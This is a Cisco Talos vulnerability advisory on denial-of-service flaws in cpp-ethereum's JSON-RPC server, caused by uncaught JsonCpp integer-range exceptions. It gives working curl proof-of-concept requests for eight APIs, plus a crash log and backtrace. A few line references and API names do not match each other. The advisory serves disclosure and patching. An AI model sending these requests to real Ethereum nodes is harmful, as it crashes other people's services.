Talos Vulnerability Report

TALOS-2017-0471

CPP-Ethereum JSON-RPC Denial Of Service Vulnerabilities

January 9, 2018
CVE Number

CVE-2017-12119

Summary

An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum's JSON-RPC. Specially crafted JSON requests can cause a unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability.

Tested Versions

Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768

Product URLs

http://cpp-ethereum.org

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform.

One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage client/node functionality. A lack of proper exception handling in the implementation of some APIs allows a remote attacker to send malformed JSON requests and crash the client/node. The following list of APIs are vulnerable:

List of APIs available by default when JSON-RPC server is turned on:
    - debug_storageRangeAt
    - debug_traceBlockByNumber

List of APIs available when the "--admin-via-http" switch is used:
    - miner_start
    - admin_eth_vmTrace
    - personal_newAccount
    - admin_eth_getReceiptByHashAndIndex
    - admin_setVerbosity
    - admin_verbosity

To handle JSON objects, the JsonCpp project (https://github.com/open-source-parsers/jsoncpp) is used and the definition of the asInt method looks as follows:

json_value.cpp

Line 732    Value::Int Value::asInt() const {
Line 733      switch (type_) {
Line 734      case intValue:
Line 735        JSON_ASSERT_MESSAGE(isInt(), "LargestInt out of Int range");
Line 736        return Int(value_.int_);
Line 737      case uintValue:
Line 738        JSON_ASSERT_MESSAGE(isInt(), "LargestUInt out of Int range");
Line 739        return Int(value_.uint_);
Line 740      case realValue:
Line 741        JSON_ASSERT_MESSAGE(InRange(value_.real_, minInt, maxInt),
Line 742                            "double out of Int range");
Line 743        return Int(value_.real_);
Line 744      case nullValue:
Line 745        return 0;
Line 746      case booleanValue:
Line 747        return value_.bool_ ? 1 : 0;
Line 748      default:
Line 749        break;
Line 750      }
Line 751      JSON_FAIL_MESSAGE("Value is not convertible to Int.");
Line 752    }

for both ints there is an assertion for which the condition is checked by the isInt method:

Line 1314   bool Value::isInt() const {
Line 1315     switch (type_) {
Line 1316     case intValue:
Line 1317   #if defined(JSON_HAS_INT64)
Line 1318       return value_.int_ >= minInt && value_.int_ <= maxInt;
Line 1319   #else
Line 1320       return true;
Line 1321   #endif
Line 1322     case uintValue:
Line 1323       return value_.uint_ <= UInt(maxInt);
Line 1324     case realValue:
Line 1325       return value_.real_ >= minInt && value_.real_ <= maxInt &&
Line 1326              IsIntegral(value_.real_);
Line 1327     default:
Line 1328       break;
Line 1329     }
Line 1330     return false;
Line 1331   }       

The isInt method distinguishes between integer types but based on exception message thrown for the proof of concepts below, we know that type of this particular Json::Value object during construction was set to uintValue. If so the value should pass the check at line 1323.

const Int Value::maxInt = Int(UInt(-1) / 2);
const UInt Value::maxUInt = UInt(-1);

Here it also looks like JsonCpp developers made a mistake and wrongly took constant value of maxInt instead of maxUInt for the comparison. Nevertheless in both cases we can pass a value which will fail the above checks. In the current situation with the maxInt defined above, we just need to pass integer bigger than 0x7FFFFFFF to trigger an exception. If it were implemented correctly, then we need to pass along a value larger than 0xFFFFFFFF.

Line 37 // The call to assert() will show the failure message in debug builds. In
Line 38 // release builds we abort, for a core-dump or debugger.
Line 39 # define JSON_FAIL_MESSAGE(message)                                            \
Line 40   {                                                                            \
Line 41     JSONCPP_OSTRINGSTREAM oss; oss << message;                                    \
Line 42     assert(false && oss.str().c_str());                                        \
Line 43     abort();                                                                   \
Line 44   }

The following documents each vulnerable API below and provides a POC:

debug_traceBlockByNumber

cpp-ethereum\libweb3jsonrpc\DebugFace.h

Line 15 DebugFace()
Line 16 {
        (...)
Line 20     this->bindAndAddMethod(jsonrpc::Procedure("debug_traceBlockByNumber", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_OBJECT, NULL), &dev::rpc::DebugFace::debug_traceBlockByNumberI);             
        (...)
Line 23 }               
        (...)
Line 37 inline virtual void debug_traceBlockByNumberI(const Json::Value &request, Json::Value &response)
Line 38 {
Line 39     response = this->debug_traceBlockByNumber(request[0u].asInt(), request[1u]);
Line 40 }

At line 39 everything except the first parameter passed to debug_traceBlockByNumber API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545   

adminethgetReceiptByHashAndIndex

cpp-ethereum\libweb3jsonrpc\AdminEthFace.h

Line 15 AdminEthFace()
Line 16 {
        (...)
Line 30       this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_getReceiptByHashAndIndex", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_getReceiptByHashAndIndexI);
        (...)
Line 37 }               
        (...)
Line 91 inline virtual void admin_eth_getReceiptByHashAndIndexI(const Json::Value &request, Json::Value &response)
Line 92 {
Line 93     response = this->admin_eth_getReceiptByHashAndIndex(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 94 }

At line 93 the second parameter passed to admin_eth_getReceiptByHashAndIndex API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_getReceiptByHashAndIndex","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545

adminethvmTrace

cpp-ethereum\libweb3jsonrpc\AdminEthFace.h

Line 15 AdminEthFace()
Line 16 {
        (...)
Line 29    this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_vmTrace", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_vmTraceI);
        (...)
Line 37 }               
        (...)
Line 87 inline virtual void admin_eth_vmTraceI(const Json::Value &request, Json::Value &response)
Line 88 {
Line 89     response = this->admin_eth_vmTrace(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 90 }

At line 89 the second parameter passed to admin_eth_vmTrace API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_vmTrace","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545

admin_setVerbosity

cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h

Line 15 AdminUtilsFace()
Line 16 {
Line 17     this->bindAndAddMethod(jsonrpc::Procedure("admin_setVerbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminUtilsFace::admin_setVerbosityI);
        (...)
Line 20 }               
        (...)
Line 22 inline virtual void admin_setVerbosityI(const Json::Value &request, Json::Value &response)
Line 23 {
Line 24     response = this->admin_setVerbosity(request[0u].asInt(), request[1u].asString());
Line 25 }

At line 89 the second parameter passed to admin_setVerbosity API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"admin_setVerbosity","params":[112233445566778899,"2"],"id":1}' 192.168.217.155:8545

admin_verbosity

cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h

Line 15 AdminUtilsFace()
Line 16 {
Line 18      this->bindAndAddMethod(jsonrpc::Procedure("admin_verbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminUtilsFace::admin_verbosityI);
        (...)
Line 20 }               
        (...)
Line 26 inline virtual void admin_verbosityI(const Json::Value &request, Json::Value &response)
Line 27 {
Line 28     response = this->admin_verbosity(request[0u].asInt());
Line 29 }

At line 89 the parameter passed to admin_verbosity API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"admin_verbosity","params":[112233445566778899],"id":1}' 192.168.217.155:8545

debug_storageRangeAt

cpp-ethereum\libweb3jsonrpc\DebugFace.h

Line 15 DebugFace()
Line 16 {
        (...)
Line 18        this->bindAndAddMethod(jsonrpc::Procedure("debug_storageRangeAt", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING,"param4",jsonrpc::JSON_STRING,"param5",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::DebugFace::debug_storageRangeAtI);
        (...)
Line 23 }               
        (...)
Line 29 inline virtual void debug_storageRangeAtI(const Json::Value &request, Json::Value &response)
Line 30 {
Line 31        response = this->debug_storageRangeAt(request[0u].asString(), request[1u].asInt(), request[2u].asString(), request[3u].asString(), request[4u].asInt());
Line 32 }

At line 31 the second and fifth parameter passed to debug_storageRangeAt API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"debug_storageRangeAt","params":["1",112233445566778899,"3","4",5],"id":1}' 192.168.217.155:8545

miner_start

cpp-ethereum\libweb3jsonrpc\AdminEthFace.h

Line 15 AdminEthFace()
Line 16 {
        (...)
Line 31        this->bindAndAddMethod(jsonrpc::Procedure("miner_start", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminEthFace::miner_startI);
        (...)
Line 37 }               
        (...)
Line 95     inline virtual void miner_startI(const Json::Value &request, Json::Value &response)
Line 96     {
Line 97          response = this->miner_start(request[0u].asInt());
Line 98     }

At line 96 the parameter passed to miner_start API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"miner_start","params":[112233445566778899],"id":1}' 192.168.217.155:8545

personal_unlockAccount

cpp-ethereum\libweb3jsonrpc\PersonalFace.h

Line 15 PersonalFace()
Line 16 {
        (...)
Line 18          this->bindAndAddMethod(jsonrpc::Procedure("personal_unlockAccount", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_STRING,"param3",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::PersonalFace::personal_unlockAccountI);
        (...)
Line 37 }               
        (...)
Line 28 inline virtual void personal_unlockAccountI(const Json::Value &request, Json::Value &response)
Line 29 {
Line 30     response = this->personal_unlockAccount(request[0u].asString(), request[1u].asString(), request[2u].asInt());
Line 31 }

At line 30 the third parameter passed to personal_unlockAccount API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"personal_unlockAccount","params":["1","2",112233445566778899],"id":1}' 192.168.217.155:8545

Crash Information

curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545   

icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j --ipc --private 123 --no-discovery --datadir `pwd`/data --config config.json --admin-via-http
cpp-ethereum, a C++ Ethereum client
cpp-ethereum 1.3.0
  By cpp-ethereum contributors, (c) 2013-2016.
  See the README for contributors and credits.
Networking disabled. To start, use netstart or pass --bootstrap or a remote host.
JSONRPC Admin Session Key: ZUNHn2AgrMM=
terminate called after throwing an instance of 'Json::LogicError'
  what():  LargestUInt out of Int range
Aborted (core dumped)   

gdb-peda$ bt
#0  0x00007fa13b121428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007fa13b12302a in __GI_abort () at abort.c:89
#2  0x00007fa13ba6484d in __gnu_cxx::__verbose_terminate_handler() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3  0x00007fa13ba626b6 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x00007fa13ba62701 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5  0x00007fa13ba62919 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6  0x00000000008825aa in Json::throwLogicError(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) ()
#7  0x000000000088783f in Json::Value::asInt() const ()
#8  0x00000000005f553e in dev::rpc::DebugFace::debug_traceBlockByNumberI (this=0x10bc4c0, request=..., response=...) at /home/icewall/bugs/cpp-ethereum/libweb3jsonrpc/DebugFace.h:39
#9  0x000000000086ba05 in jsonrpc::AbstractProtocolHandler::ProcessRequest(Json::Value const&, Json::Value&) ()
#10 0x0000000000868afc in jsonrpc::RpcProtocolServerV2::HandleSingleRequest(Json::Value const&, Json::Value&) ()
#11 0x0000000000868e0e in jsonrpc::RpcProtocolServerV2::HandleJsonRequest(Json::Value const&, Json::Value&) ()
#12 0x000000000086aca1 in jsonrpc::AbstractProtocolHandler::HandleRequest(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) ()
#13 0x0000000000869c4a in jsonrpc::HttpServer::callback(void*, MHD_Connection*, char const*, char const*, char const*, char const*, unsigned long*, void**) ()
#14 0x00007fa13bd5c344 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#15 0x00007fa13bd5d3fc in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#16 0x00007fa13bd62da9 in MHD_run_from_select () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#17 0x00007fa13bd630b6 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#18 0x00007fa13bd63222 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#19 0x00007fa13bf766ba in start_thread (arg=0x7fa134d0f700) at pthread_create.c:333
#20 0x00007fa13b1f33dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
Detaching from program: /home/icewall/bugs/cpp-ethereum/build/eth/eth, process 9058

Timeline

2017-11-03 - Vendor Disclosure
2018-01-09 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.